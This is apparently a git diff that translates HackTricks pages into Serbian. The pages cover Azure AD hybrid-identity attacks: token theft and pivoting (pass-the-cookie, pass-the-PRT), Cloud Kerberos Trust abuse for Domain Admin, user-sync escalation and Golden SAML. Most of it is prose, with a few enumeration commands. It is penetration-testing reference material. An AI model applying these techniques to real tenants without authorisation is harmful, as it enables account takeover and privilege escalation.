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{{#include ../../../banners/hacktricks-training.md}}
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### On-Prem machines connected to cloud
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### On-Prem mašine povezane sa cloud-om
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There are different ways a machine can be connected to the cloud:
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Postoje različiti načini na koje mašina može biti povezana sa cloud-om:
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#### Azure AD joined
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#### Azure AD pridružena
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<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
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#### Workplace joined
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#### Pridružena radnom mestu
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<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large</a></p></figcaption></figure>
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#### Hybrid joined
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#### Hibridno pridružena
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<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large</a></p></figcaption></figure>
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#### Workplace joined on AADJ or Hybrid
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#### Pridružena radnom mestu na AADJ ili Hibridno
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<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large</a></p></figcaption></figure>
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### Tokens and limitations <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
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### Tokeni i ograničenja <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
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In Azure AD, there are different types of tokens with specific limitations:
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U Azure AD, postoje različite vrste tokena sa specifičnim ograničenjima:
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- **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource.
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- **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications.
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- **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device.
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- **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens.
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- **Access tokens**: Koriste se za pristup API-ima i resursima kao što je Microsoft Graph. Povezani su sa specifičnim klijentom i resursom.
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- **Refresh tokens**: Izdaju se aplikacijama za dobijanje novih access tokena. Mogu ih koristiti samo aplikacije kojima su dodeljeni ili grupa aplikacija.
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- **Primary Refresh Tokens (PRT)**: Koriste se za Single Sign-On na Azure AD pridruženim, registrovanim ili hibridno pridruženim uređajima. Mogu se koristiti u tokovima prijavljivanja u pretraživaču i za prijavljivanje u mobilne i desktop aplikacije na uređaju.
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- **Windows Hello for Business keys (WHFB)**: Koriste se za autentifikaciju bez lozinke. Koriste se za dobijanje Primary Refresh Tokens.
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The most interesting type of token is the Primary Refresh Token (PRT).
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Najzanimljivija vrsta tokena je Primary Refresh Token (PRT).
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{{#ref}}
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az-primary-refresh-token-prt.md
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{{#endref}}
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### Pivoting Techniques
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### Tehnike pivotiranja
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From the **compromised machine to the cloud**:
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Od **kompromitovane mašine do cloud-a**:
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- [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login
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- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text.
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- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it
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- [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it.
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- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another
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- [**Pass the Cookie**](az-pass-the-cookie.md): Ukrasti Azure kolačiće iz pretraživača i koristiti ih za prijavu
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- [**Dump processes access tokens**](az-processes-memory-access-token.md): Isprazniti memoriju lokalnih procesa sinhronizovanih sa cloud-om (kao što su excel, Teams...) i pronaći access tokene u čistom tekstu.
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- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishovati PRT da bi se zloupotrebio
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- [**Pass the PRT**](pass-the-prt.md): Ukrasti PRT uređaja da bi se pristupilo Azure-u pretvarajući se da je to uređaj.
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- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generisati sertifikat na osnovu PRT-a za prijavu sa jedne mašine na drugu
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From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**:
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Od kompromitovanja **AD** do kompromitovanja **Cloud-a** i od kompromitovanja **Cloud-a do** kompromitovanja **AD**:
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- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
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- **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md)
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- **Drugi način za pivotiranje od cloud-a do On-Prem je** [**zloupotreba Intune**](../az-services/intune.md)
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#### [Roadtx](https://github.com/dirkjanm/ROADtools)
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This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
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Ovaj alat omogućava izvođenje nekoliko akcija kao što je registracija mašine u Azure AD za dobijanje PRT-a, i korišćenje PRT-ova (legitimnih ili ukradenih) za pristup resursima na nekoliko različitih načina. Ovo nisu direktni napadi, ali olakšava korišćenje PRT-ova za pristup resursima na različite načine. Pronađite više informacija na [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
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## References
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## Reference
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- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
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{{#include ../../../banners/hacktricks-training.md}}
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@@ -2,63 +2,57 @@
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{{#include ../../../../banners/hacktricks-training.md}}
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## Basic Information
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## Osnovne informacije
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Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments:
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Integracija između **On-premises Active Directory (AD)** i **Azure AD** se olakšava putem **Azure AD Connect**, koji nudi različite metode koje podržavaju **Single Sign-on (SSO)**. Svaka metoda, iako korisna, predstavlja potencijalne sigurnosne ranjivosti koje bi mogle biti iskorišćene za kompromitovanje cloud ili on-premises okruženja:
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- **Pass-Through Authentication (PTA)**:
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- Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud).
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- Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem).
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- Moguća kompromitacija agenta na on-prem AD, što omogućava validaciju korisničkih lozinki za Azure konekcije (on-prem do Cloud).
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- Mogućnost registracije novog agenta za validaciju autentifikacija na novoj lokaciji (Cloud do on-prem).
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{{#ref}}
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pta-pass-through-authentication.md
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{{#endref}}
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- **Password Hash Sync (PHS)**:
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- Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user.
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- Potencijalno vađenje lozinki u čistom tekstu privilegovanih korisnika iz AD, uključujući kredencijale visoko privilegovanog, automatski generisanog AzureAD korisnika.
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{{#ref}}
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phs-password-hash-sync.md
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{{#endref}}
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- **Federation**:
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- Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities.
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- Krađa privatnog ključa koji se koristi za SAML potpisivanje, omogućavajući impersonaciju on-prem i cloud identiteta.
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{{#ref}}
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federation.md
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{{#endref}}
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- **Seamless SSO:**
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- Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user.
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- Krađa lozinke korisnika `AZUREADSSOACC`, koja se koristi za potpisivanje Kerberos silver karata, omogućavajući impersonaciju bilo kog cloud korisnika.
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{{#ref}}
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seamless-sso.md
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{{#endref}}
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- **Cloud Kerberos Trust**:
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- Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD.
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- Mogućnost eskalacije sa Global Admin na on-prem Domain Admin manipulacijom korisničkih imena i SIDs AzureAD korisnika i zahtevom za TGT-ovima iz AzureAD.
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{{#ref}}
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az-cloud-kerberos-trust.md
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{{#endref}}
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- **Default Applications**:
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- Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files.
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- Kompromitovanje naloga Administratora aplikacije ili on-premise Sync naloga omogućava modifikaciju postavki direktorijuma, članstava u grupama, korisničkih naloga, SharePoint sajtova i OneDrive datoteka.
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{{#ref}}
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az-default-applications.md
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{{#endref}}
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For each integration method, user synchronization is conducted, and an `MSOL_<installationidentifier>` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain.
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To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used:
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Za svaku metodu integracije, vrši se sinhronizacija korisnika, a `MSOL_<installationidentifier>` nalog se kreira u on-prem AD. Važno je napomenuti da obe metode **PHS** i **PTA** olakšavaju **Seamless SSO**, omogućavajući automatsko prijavljivanje za Azure AD računare pridružene on-prem domenu.
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Da biste verifikovali instalaciju **Azure AD Connect**, može se koristiti sledeća PowerShell komanda, koristeći **AzureADConnectHealthSync** modul (instaliran po defaultu sa Azure AD Connect):
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```powershell
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Get-ADSyncConnector
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```
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{{#include ../../../../banners/hacktricks-training.md}}
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@@ -2,52 +2,48 @@
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{{#include ../../../../banners/hacktricks-training.md}}
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**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
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**Ovaj post je sažetak** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **koji se može proveriti za dodatne informacije o napadu. Ova tehnika je takođe komentarisana u** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
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## Basic Information
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## Osnovne informacije
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### Trust
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### Povjerenje
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When a trust is stablished with Azure AD, a **Read Only Domain Controller (RODC) is created in the AD.** The **RODC computer account**, named **`AzureADKerberos$`**. Also, a secondary `krbtgt` account named **`krbtgt_AzureAD`**. This account contains the **Kerberos keys** used for tickets that Azure AD creates.
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Kada se uspostavi poverenje sa Azure AD, **stvara se Read Only Domain Controller (RODC) u AD-u.** **RODC korisnički nalog**, nazvan **`AzureADKerberos$`**. Takođe, sekundarni `krbtgt` nalog nazvan **`krbtgt_AzureAD`**. Ovaj nalog sadrži **Kerberos ključeve** koji se koriste za karte koje Azure AD kreira.
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Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators...
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Stoga, ako je ovaj nalog kompromitovan, moglo bi biti moguće imitirati bilo kog korisnika... iako to nije tačno jer je ovom nalogu onemogućeno da kreira karte za bilo koju zajedničku privilegovanu AD grupu kao što su Domain Admins, Enterprise Admins, Administrators...
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> [!CAUTION]
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> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.**
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> Međutim, u stvarnom scenariju biće privilegovanih korisnika koji nisu u tim grupama. Dakle, **novi krbtgt nalog, ako bude kompromitovan, mogao bi se koristiti za imitaciju njih.**
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### Kerberos TGT
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Moreover, when a user authenticates on Windows using a hybrid identity **Azure AD** will issue **partial Kerberos ticket along with the PRT.** The TGT is partial because **AzureAD has limited information** of the user in the on-prem AD (like the security identifier (SID) and the name).\
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Windows can then **exchange this partial TGT for a full TGT** by requesting a service ticket for the `krbtgt` service.
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Štaviše, kada se korisnik autentifikuje na Windows-u koristeći hibridni identitet, **Azure AD će izdati delimičnu Kerberos kartu zajedno sa PRT-om.** TGT je delimičan jer **AzureAD ima ograničene informacije** o korisniku u on-prem AD-u (kao što su identifikator bezbednosti (SID) i ime).\
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Windows može zatim **razmeniti ovu delimičnu TGT za punu TGT** tražeći servisnu kartu za `krbtgt` servis.
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### NTLM
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As there could be services that doesn't support kerberos authentication but NTLM, it's possible to request a **partial TGT signed using a secondary `krbtgt`** key including the **`KERB-KEY-LIST-REQ`** field in the **PADATA** part of the request and then get a full TGT signed with the primary `krbtgt` key **including the NT hash in the response**.
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Kako može postojati usluga koja ne podržava Kerberos autentifikaciju, već NTLM, moguće je zatražiti **delimičnu TGT potpisanu koristeći sekundarni `krbtgt`** ključ uključujući **`KERB-KEY-LIST-REQ`** polje u **PADATA** delu zahteva i zatim dobiti punu TGT potpisanu primarnim `krbtgt` ključem **uključujući NT hash u odgovoru**.
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## Abusing Cloud Kerberos Trust to obtain Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
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## Zloupotreba Cloud Kerberos Trust za dobijanje Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
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When AzureAD generates a **partial TGT** it will be using the details it has about the user. Therefore, if a Global Admin could modify data like the **security identifier and name of the user in AzureAD**, when requesting a TGT for that user the **security identifier would be a different one**.
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Kada AzureAD generiše **delimičnu TGT**, koristiće detalje koje ima o korisniku. Stoga, ako bi Global Admin mogao da izmeni podatke kao što su **identifikator bezbednosti i ime korisnika u AzureAD**, kada zatraži TGT za tog korisnika, **identifikator bezbednosti bi bio drugačiji**.
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It's not possible to do that through the Microsoft Graph or the Azure AD Graph, but it's possible to use the **API Active Directory Connect** uses to create and update synced users, which can be used by the Global Admins to **modify the SAM name and SID of any hybrid user**, and then if we authenticate, we get a partial TGT containing the modified SID.
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Nije moguće to učiniti putem Microsoft Graph-a ili Azure AD Graph-a, ali je moguće koristiti **API koji Active Directory Connect koristi** za kreiranje i ažuriranje sinhronizovanih korisnika, što mogu koristiti Global Admini da **izmene SAM ime i SID bilo kog hibridnog korisnika**, a zatim, ako se autentifikujemo, dobijamo delimičnu TGT koja sadrži izmenjeni SID.
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Note that we can do this with AADInternals and update to synced users via the [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet.
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Napomena da ovo možemo učiniti sa AADInternals i ažurirati sinhronizovane korisnike putem [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet-a.
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### Attack prerequisites <a href="#attack-prerequisites" id="attack-prerequisites"></a>
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### Preduslovi za napad <a href="#attack-prerequisites" id="attack-prerequisites"></a>
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The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites:
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Uspeh napada i sticanje privilegija Domain Admin zavise od ispunjavanja određenih preduslova:
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- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts.
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- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication.
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- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket.
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- Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC.
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- The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object.
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- Sposobnost da se menjaju nalozi putem Synchronization API je ključna. To se može postići imajući ulogu Global Admin ili posedujući AD Connect sinhronizovani nalog. Alternativno, uloga Hibridnog identitetskog administratora bi bila dovoljna, jer omogućava upravljanje AD Connect-om i uspostavljanje novih sinhronizovanih naloga.
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- Prisutnost **hibridnog naloga** je neophodna. Ovaj nalog mora biti podložan izmeni sa podacima žrtvovanog naloga i takođe bi trebao biti dostupan za autentifikaciju.
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- Identifikacija **ciljnog naloga žrtve** unutar Active Directory je neophodna. Iako se napad može izvršiti na bilo kom nalogu koji je već sinhronizovan, Azure AD tenant ne sme imati replicirane on-premises identifikatore bezbednosti, što zahteva izmenu nesinhronizovanog naloga kako bi se dobila karta.
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- Pored toga, ovaj nalog bi trebao imati privilegije jednake privilegijama domain admin-a, ali ne sme biti član tipičnih AD administratorskih grupa kako bi se izbeglo generisanje nevažećih TGT-ova od strane AzureAD RODC-a.
|
||||
- Najpogodniji cilj je **Active Directory nalog koji koristi AD Connect Sync servis**. Ovaj nalog nije sinhronizovan sa Azure AD, ostavljajući njegov SID kao mogući cilj, i inherentno ima privilegije jednake privilegijama domain admin-a zbog svoje uloge u sinhronizaciji hešova lozinki (pod pretpostavkom da je Password Hash Sync aktivan). Za domene sa ekspresnom instalacijom, ovaj nalog je prefiksiran sa **MSOL\_**. Za druge instance, nalog se može identifikovati prebrojavanjem svih naloga koji imaju privilegije replikacije direktorijuma na objektu domena.
|
||||
|
||||
### The full attack <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
### Potpuni napad <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
|
||||
Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
Proverite to u originalnom postu: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,10 +4,6 @@
|
||||
|
||||
**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post.
|
||||
Blog post raspravlja o ranjivosti eskalacije privilegija u Azure AD, koja omogućava Administratorima aplikacija ili kompromitovanim On-Premise Sync računima da eskaliraju privilegije dodeljivanjem kredencijala aplikacijama. Ranjivost, koja proističe iz "po dizajnu" ponašanja Azure AD-a u vezi sa upravljanjem aplikacijama i servisnim principalima, posebno utiče na podrazumevane Office 365 aplikacije. Iako je prijavljena, Microsoft je ne smatra ranjivošću zbog dokumentacije o ponašanju dodele administratorskih prava. Post pruža detaljne tehničke uvide i savetuje redovne preglede kredencijala servisnih principala u Azure AD okruženjima. Za detaljnije informacije, možete posetiti originalni blog post.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,30 @@
|
||||
# Az- Synchronising New Users
|
||||
# Az- Sinhronizacija novih korisnika
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD
|
||||
## Sinhronizacija AzureAD korisnika sa on-prem da bi se eskaliralo sa on-prem na AzureAD
|
||||
|
||||
I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements:
|
||||
|
||||
- The **AzureAD user** needs to have a proxy address (a **mailbox**)
|
||||
- License is not required
|
||||
- Should **not be already synced**
|
||||
Da bi se sinhronizovao novi korisnik **iz AzureAD u on-prem AD**, potrebni su sledeći uslovi:
|
||||
|
||||
- **AzureAD korisnik** treba da ima proxy adresu (**mailbox**)
|
||||
- Licenca nije potrebna
|
||||
- Ne sme **već biti sinhronizovan**
|
||||
```powershell
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
Kada se korisnik poput ovih pronađe u AzureAD, da biste **pristupili njemu iz on-prem AD** potrebno je samo da **napravite novi nalog** sa **proxyAddress** SMTP email.
|
||||
|
||||
When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email.
|
||||
|
||||
An automatically, this user will be **synced from AzureAD to the on-prem AD user**.
|
||||
Automatski, ovaj korisnik će biti **sinhronizovan iz AzureAD u on-prem AD korisnika**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**.
|
||||
> Imajte na umu da za izvođenje ovog napada **ne trebate Domain Admin**, samo su vam potrebne dozvole da **napravite nove korisnike**.
|
||||
>
|
||||
> Also, this **won't bypass MFA**.
|
||||
> Takođe, ovo **neće zaobići MFA**.
|
||||
>
|
||||
> Moreover, this was reported an **account sync is no longer possible for admin accounts**.
|
||||
> Štaviše, prijavljeno je da **sinhronizacija naloga više nije moguća za admin naloge**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,90 +1,89 @@
|
||||
# Az - Federation
|
||||
# Az - Federacija
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** is a collection of **domains** that have established **trust**. The level of trust may vary, but typically includes **authentication** and almost always includes **authorization**. A typical federation might include a **number of organizations** that have established **trust** for **shared access** to a set of resources.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federacija** je skup **domena** koje su uspostavile **povjerenje**. Nivo povjerenja može varirati, ali obično uključuje **autentifikaciju** i gotovo uvek uključuje **autorizaciju**. Tipična federacija može uključivati **broj organizacija** koje su uspostavile **povjerenje** za **deljenje pristupa** skupu resursa.
|
||||
|
||||
You can **federate your on-premises** environment **with Azure AD** and use this federation for authentication and authorization. This sign-in method ensures that all user **authentication occurs on-premises**. This method allows administrators to implement more rigorous levels of access control. Federation with **AD FS** and PingFederate is available.
|
||||
Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika odvija on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bsiacally, in Federation, all **authentication** occurs in the **on-prem** environment and the user experiences SSO across all the trusted environments. Therefore, users can **access** **cloud** applications by using their **on-prem credentials**.
|
||||
U suštini, u Federaciji, sva **autentifikacija** se odvija u **on-prem** okruženju i korisnik doživljava SSO kroz sva poverena okruženja. Stoga, korisnici mogu **pristupiti** **cloud** aplikacijama koristeći svoje **on-prem kredencijale**.
|
||||
|
||||
**Security Assertion Markup Language (SAML)** is used for **exchanging** all the authentication and authorization **information** between the providers.
|
||||
**Security Assertion Markup Language (SAML)** se koristi za **razmenu** svih informacija o autentifikaciji i autorizaciji između provajdera.
|
||||
|
||||
In any federation setup there are three parties:
|
||||
U bilo kojoj federacijskoj postavci postoje tri strane:
|
||||
|
||||
- User or Client
|
||||
- Identity Provider (IdP)
|
||||
- Service Provider (SP)
|
||||
- Korisnik ili Klijent
|
||||
- Provajder identiteta (IdP)
|
||||
- Provajder usluga (SP)
|
||||
|
||||
(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
(Slike sa https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation.
|
||||
2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP.
|
||||
3. The IdP takes over, authenticating the user. Post-authentication, a SAMLResponse is formulated by the IdP and forwarded to the SP through the user.
|
||||
4. Finally, the SP evaluates the SAMLResponse. If validated successfully, implying a trust relationship with the IdP, the user is granted access. This marks the completion of the login process, allowing the user to utilize the service.
|
||||
1. Prvo, aplikaciju (Provajder usluga ili SP, kao što je AWS konzola ili vSphere web klijent) pristupa korisnik. Ovaj korak može biti preskočen, vodeći klijenta direktno do IdP (Provajder identiteta) u zavisnosti od specifične implementacije.
|
||||
2. Zatim, SP identifikuje odgovarajući IdP (npr., AD FS, Okta) za autentifikaciju korisnika. Zatim kreira SAML (Security Assertion Markup Language) AuthnRequest i preusmerava klijenta na odabrani IdP.
|
||||
3. IdP preuzima kontrolu, autentifikujući korisnika. Nakon autentifikacije, SAMLResponse se formira od strane IdP i prosleđuje SP-u kroz korisnika.
|
||||
4. Na kraju, SP procenjuje SAMLResponse. Ako je uspešno validiran, što implicira odnos poverenja sa IdP-om, korisniku se odobrava pristup. Ovo označava završetak procesa prijavljivanja, omogućavajući korisniku da koristi uslugu.
|
||||
|
||||
**If you want to learn more about SAML authentication and common attacks go to:**
|
||||
**Ako želite da saznate više o SAML autentifikaciji i uobičajenim napadima, idite na:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting
|
||||
## Pivotiranje
|
||||
|
||||
- AD FS is a claims-based identity model.
|
||||
- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."
|
||||
- Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP.
|
||||
- A user is identified by ImmutableID. It is globally unique and stored in Azure AD.
|
||||
- TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.
|
||||
- More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
- AD FS je model identiteta zasnovan na tvrdnjama.
|
||||
- "..tvrdnje su jednostavno izjave (na primer, ime, identitet, grupa), koje se daju o korisnicima, a koriste se prvenstveno za autorizaciju pristupa aplikacijama zasnovanim na tvrdnjama smeštenim bilo gde na Internetu."
|
||||
- Tvrdnje za korisnika se pišu unutar SAML tokena i zatim se potpisuju kako bi se obezbedila poverljivost od strane IdP-a.
|
||||
- Korisnik se identifikuje pomoću ImmutableID. On je globalno jedinstven i čuva se u Azure AD.
|
||||
- ImmutableID se čuva on-prem kao ms-DS-ConsistencyGuid za korisnika i/ili se može izvesti iz GUID-a korisnika.
|
||||
- Više informacija na [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Golden SAML attack:**
|
||||
**Golden SAML napad:**
|
||||
|
||||
- In ADFS, SAML Response is signed by a token-signing certificate.
|
||||
- If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD!
|
||||
- Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response.
|
||||
- The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine.
|
||||
- More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
- U ADFS-u, SAML Response se potpisuje sertifikatom za potpisivanje tokena.
|
||||
- Ako je sertifikat kompromitovan, moguće je autentifikovati se na Azure AD kao BILO KOJI korisnik sinhronizovan sa Azure AD!
|
||||
- Baš kao i naše zlostavljanje PTA, promena lozinke za korisnika ili MFA neće imati nikakav efekat jer falsifikujemo odgovor na autentifikaciju.
|
||||
- Sertifikat se može izvući sa AD FS servera sa DA privilegijama i zatim se može koristiti sa bilo kog internet povezanog računara.
|
||||
- Više informacija na [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
|
||||
